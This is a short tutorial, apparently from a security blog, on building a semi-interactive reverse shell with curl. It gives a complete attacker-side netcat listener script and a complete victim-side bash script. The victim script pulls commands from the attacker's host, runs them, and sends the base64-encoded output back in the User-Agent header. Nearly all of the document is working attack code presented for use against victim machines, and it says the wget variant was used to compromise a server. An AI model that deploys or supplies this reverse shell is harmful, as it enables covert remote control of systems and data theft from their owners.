Constructing a semi-interactive reverse shell with curl

Table of contents :

Introduction

Some time ago, I presented an article on constructing a semi interactive reverse shell with wget which I used to compromise a very old server. In this article, I present the curl version of this reverse shell, involving some small changes. The basic concepts of this type of reverse shell are explained more in depth in the article constructing a semi interactive reverse shell with wget. In this article I will focus on the changes necessary to adapt the wget reverse shell to curl.

Listenner on the attacking machine

You must run this listenner on your attack machine. When you send the payload to the target machine, it will connect to you and you will get a semi-interactive shell thanks to this script.

#!/usr/bin/env bash

CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081

#===============================================================================

log()  { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}";  }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }

remote_exec(){
    local CMD="${1}"
    echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
    RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
    echo "${RESULT}"
}

wait_for_connection(){
    log "Waiting for incomming curl connection ..."
    local challenge="$(cat /dev/urandom | xxd -p | head -c 16)"
    local challenge_solved="$(echo "${challenge}" | base64 -w0)"
    waiting=1
    while [[ ${waiting} == 1 ]]; do
        local response="$(remote_exec "echo ${challenge} | base64 -w0")"
        if [[ $(echo "${response}" | grep "${challenge_solved}" | wc -l) -ne 0 ]]; then
            log "Validated ! proof : base64(${challenge})==${response}"
            waiting=0
        else
            echo "${response}"
        fi
    done
    info "Connected ! (interactive shell incomming)"
}

get_sys_info(){
    echo ""
    echo " Hostname : $(remote_exec "hostname")"
    echo " Kernel   : $(remote_exec "uname -sr")"
    echo " Arch     : $(remote_exec "uname -p")"
    echo ""
}

#===============================================================================

wait_for_connection

# get_sys_info

PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    printf "${PROMPT}"; read
    if [[ "${REPLY}" == "exit" ]]; then
        echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
        RUNNING=0
    else
        echo "$(remote_exec "${REPLY}")"
    fi
done

Reverse shell on the target machine

On the victim machine, we only need the curl and base64 binaries, and this simple bash script:

#!/usr/bin/env bash

REV_IP='localhost'

CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081

#===============================================================================

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    CMD=$(curl -s "http://${REV_IP}:${CMD_RECV_PORT}" --raw --http0.9 2>/dev/null)
    if [[ ${CMD} != "" ]]; then
        if [[ ${CMD} == "exit" ]]; then
            RUNNING=0
        else
            sleep 0.125
            curl -s \
                "http://${REV_IP}:${CMD_REPLY_PORT}" \
                --raw --http0.9 \
                --user-agent "$(bash -c "${CMD}" 2>&1 | base64 -w0)"\
                2>/dev/null
        fi
    fi
done

References